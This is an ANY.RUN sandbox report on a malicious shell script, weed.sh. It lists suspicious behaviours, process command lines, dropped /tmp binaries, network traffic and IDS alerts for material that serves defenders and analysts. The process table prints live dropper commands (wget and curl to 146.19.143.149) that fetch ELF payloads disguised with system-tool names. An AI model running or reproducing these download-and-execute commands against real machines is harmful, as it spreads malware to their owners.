File name:

weed.sh

Full analysis: https://app.any.run/tasks/f9a35957-8d5c-46a3-8ed7-c97935fddb25
Verdict: Malicious activity
Analysis date: April 25, 2025, 17:41:47
OS: Ubuntu 22.04.2
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

3291C5E6B92389A32B245F7328956895

SHA1:

74B13F997ABFC116654385C1EB94E5BF40AE9571

SHA256:

6C374BD321AD36AFB15A64F947C04ECE86A2EACE42F4954B4FA8B7C14F03EF34

SSDEEP:

48:vOXZODW+O95zfOTxHOfaMOU1Ox5O1jJO3b3ZO4zRO/5O0i0EHOnXn7eXVZ:viSm++vIaCnyJ9EHa37eFZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Executes commands using command-line interpreter

      • sudo (PID: 39503)

    • Modifies file or directory owner

      • sudo (PID: 39500)

    • Check the Environment Variables Related to System Identification (os-release)

      • curl (PID: 39510)
      • curl (PID: 39548)
      • curl (PID: 39589)
      • curl (PID: 39649)
      • curl (PID: 39619)
      • curl (PID: 39680)
      • curl (PID: 39742)
      • curl (PID: 39713)
      • curl (PID: 39772)
      • curl (PID: 39802)
      • curl (PID: 39833)
      • curl (PID: 39895)
      • curl (PID: 39864)

    • Reads passwd file

      • dumpe2fs (PID: 39531)
      • dumpe2fs (PID: 39542)
      • curl (PID: 39510)
      • curl (PID: 39589)
      • curl (PID: 39548)
      • curl (PID: 39619)
      • curl (PID: 39649)
      • curl (PID: 39680)
      • curl (PID: 39713)
      • curl (PID: 39742)
      • curl (PID: 39772)
      • curl (PID: 39802)
      • curl (PID: 39864)
      • curl (PID: 39833)
      • curl (PID: 39895)

    • Uses wget to download content

      • bash (PID: 39505)

    • Potential Corporate Privacy Violation

      • wget (PID: 39507)
      • curl (PID: 39510)
      • wget (PID: 39547)
      • curl (PID: 39548)
      • wget (PID: 39578)
      • curl (PID: 39589)
      • wget (PID: 39648)
      • wget (PID: 39679)
      • curl (PID: 39649)
      • curl (PID: 39680)
      • curl (PID: 39619)
      • wget (PID: 39712)
      • curl (PID: 39713)
      • curl (PID: 39742)
      • wget (PID: 39771)
      • curl (PID: 39772)
      • wget (PID: 39741)
      • wget (PID: 39801)
      • curl (PID: 39802)
      • wget (PID: 39863)
      • wget (PID: 39832)
      • curl (PID: 39833)
      • curl (PID: 39864)
      • wget (PID: 39894)
      • curl (PID: 39895)

    • Reads /proc/mounts (likely used to find writable filesystems)

      • curl (PID: 39589)
      • curl (PID: 39548)
      • curl (PID: 39649)
      • curl (PID: 39619)
      • curl (PID: 39680)
      • curl (PID: 39713)
      • curl (PID: 39742)
      • curl (PID: 39772)
      • curl (PID: 39802)
      • curl (PID: 39833)
      • curl (PID: 39864)

    • Connects to the server without a host name

      • curl (PID: 39548)
      • wget (PID: 39507)
      • curl (PID: 39510)
      • wget (PID: 39547)
      • curl (PID: 39589)
      • wget (PID: 39618)
      • wget (PID: 39578)
      • curl (PID: 39619)
      • curl (PID: 39649)
      • wget (PID: 39648)
      • wget (PID: 39679)
      • curl (PID: 39680)
      • wget (PID: 39712)
      • wget (PID: 39741)
      • curl (PID: 39713)
      • wget (PID: 39771)
      • curl (PID: 39742)
      • curl (PID: 39772)
      • curl (PID: 39802)
      • wget (PID: 39801)
      • wget (PID: 39863)
      • wget (PID: 39832)
      • curl (PID: 39833)
      • curl (PID: 39864)
      • wget (PID: 39894)
      • curl (PID: 39895)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 39505)

    • Reads network configuration

      • bash (PID: 39505)

    • Gets active network interfaces

      • bash (PID: 39505)

    • Connects to unusual port

      • weedbash (PID: 39646)
      • weedwget (PID: 39710)
      • weedftp (PID: 39769)

  • INFO

    • Creates file in the temporary folder

      • wget (PID: 39507)
      • curl (PID: 39510)
      • wget (PID: 39547)
      • wget (PID: 39578)
      • curl (PID: 39589)
      • wget (PID: 39618)
      • curl (PID: 39548)
      • curl (PID: 39619)
      • wget (PID: 39648)
      • wget (PID: 39679)
      • curl (PID: 39680)
      • curl (PID: 39649)
      • curl (PID: 39713)
      • wget (PID: 39741)
      • wget (PID: 39712)
      • wget (PID: 39771)
      • curl (PID: 39772)
      • curl (PID: 39742)
      • wget (PID: 39801)
      • wget (PID: 39863)
      • wget (PID: 39832)
      • curl (PID: 39802)
      • curl (PID: 39833)
      • wget (PID: 39894)
      • curl (PID: 39864)
      • curl (PID: 39895)

    • Checks timezone

      • dumpe2fs (PID: 39531)
      • wget (PID: 39507)
      • dumpe2fs (PID: 39542)
      • wget (PID: 39547)
      • wget (PID: 39578)
      • wget (PID: 39618)
      • wget (PID: 39648)
      • wget (PID: 39679)
      • wget (PID: 39741)
      • wget (PID: 39712)
      • wget (PID: 39771)
      • wget (PID: 39801)
      • wget (PID: 39832)
      • wget (PID: 39863)
      • wget (PID: 39894)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
341
Monitored processes
120
Malicious processes
13
Suspicious processes
12

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget systemctl no specs curl snap-seccomp no specs snap-confine no specs dumpe2fs no specs snap-update-ns no specs dumpe2fs no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs weedbash no specs weedbash no specs rm no specs wget weedbash curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs weedwget no specs rm no specs wget weedwget no specs weedwget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs weedftp no specs rm no specs wget weedftp no specs weedftp curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs

Process information

PID
CMD
Path
Indicators
Parent process
39499/bin/sh -c "sudo chown user /home/user/Desktop/weed\.sh && chmod +x /home/user/Desktop/weed\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/weed\.sh "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39500sudo chown user /home/user/Desktop/weed.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
39501chown user /home/user/Desktop/weed.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
39502chmod +x /home/user/Desktop/weed.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39503sudo -iu user /home/user/Desktop/weed.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
39505/bin/bash /home/user/Desktop/weed.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39506/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39507wget http://146.19.143.149/weedntpd/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39508systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service/usr/bin/systemctl—snapd
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
39510/snap/curl/1754/bin/curl -O http://146.19.143.149/weedntpd/snap/curl/1754/bin/curl
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
13
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
39507wget/tmp/weedntpdbinary
MD5:—
SHA256:—
39547wget/tmp/weedsshdbinary
MD5:—
SHA256:—
39578wget/tmp/weedopensshbinary
MD5:—
SHA256:—
39618wget/tmp/weedbashbinary
MD5:—
SHA256:—
39648wget/tmp/weedtftpbinary
MD5:—
SHA256:—
39679wget/tmp/weedwgetbinary
MD5:—
SHA256:—
39712wget/tmp/weedcronbinary
MD5:—
SHA256:—
39741wget/tmp/weedftpbinary
MD5:—
SHA256:—
39771wget/tmp/weedpftpbinary
MD5:—
SHA256:—
39801wget/tmp/weedshbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
39
TCP/UDP connections
39
DNS requests
13
Threats
77

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
POST
200
185.125.188.59:443
https://api.snapcraft.io/api/v1/snaps/auth/nonces
unknown
—
—
—
—
—
GET
204
185.125.190.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
204
185.125.190.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
204
185.125.190.18:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
39507
wget
GET
200
146.19.143.149:80
http://146.19.143.149/weedntpd
unknown
—
—
unknown
39510
curl
GET
200
146.19.143.149:80
http://146.19.143.149/weedntpd
unknown
—
—
unknown
39547
wget
GET
200
146.19.143.149:80
http://146.19.143.149/weedsshd
unknown
—
—
unknown
39548
curl
GET
200
146.19.143.149:80
http://146.19.143.149/weedsshd
unknown
—
—
unknown
39578
wget
GET
200
146.19.143.149:80
http://146.19.143.149/weedopenssh
unknown
—
—
unknown
39589
curl
GET
200
146.19.143.149:80
http://146.19.143.149/weedopenssh
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.18:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
—
—
185.125.190.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
—
—
212.102.56.178:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
—
—
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
39507
wget
146.19.143.149:80
—
Scalaxy B.V.
BR
unknown
39510
curl
146.19.143.149:80
—
Scalaxy B.V.
BR
unknown
39547
wget
146.19.143.149:80
—
Scalaxy B.V.
BR
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::96
  • 2001:67c:1562::23
  • 2620:2d:4000:1::98
  • 2001:67c:1562::24
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::97
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::23
  • 2620:2d:4002:1::197
  • 185.125.190.96
  • 185.125.190.97
  • 185.125.190.18
  • 185.125.190.49
  • 185.125.190.17
  • 91.189.91.98
  • 91.189.91.96
  • 91.189.91.49
  • 91.189.91.48
  • 185.125.190.98
  • 91.189.91.97
  • 185.125.190.48
whitelisted
odrs.gnome.org
  • 212.102.56.178
  • 195.181.170.19
  • 37.19.194.81
  • 195.181.175.41
  • 207.211.211.27
  • 169.150.255.180
  • 169.150.255.183
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::101
whitelisted
api.snapcraft.io
  • 185.125.188.55
  • 185.125.188.58
  • 185.125.188.59
  • 185.125.188.54
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::6d
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::117
whitelisted
google.com
  • 142.250.185.142
  • 2a00:1450:4001:831::200e
whitelisted
3.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
39507
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39507
wget
Potentially Bad Traffic
ET HUNTING Possible ELF executable sent when remote host claims to send a Text File
39510
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
39510
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39510
curl
Potentially Bad Traffic
ET HUNTING Possible ELF executable sent when remote host claims to send a Text File
39547
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39547
wget
Potentially Bad Traffic
ET HUNTING Possible ELF executable sent when remote host claims to send a Text File
39548
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
39548
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39548
curl
Potentially Bad Traffic
ET HUNTING Possible ELF executable sent when remote host claims to send a Text File
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
weed.sh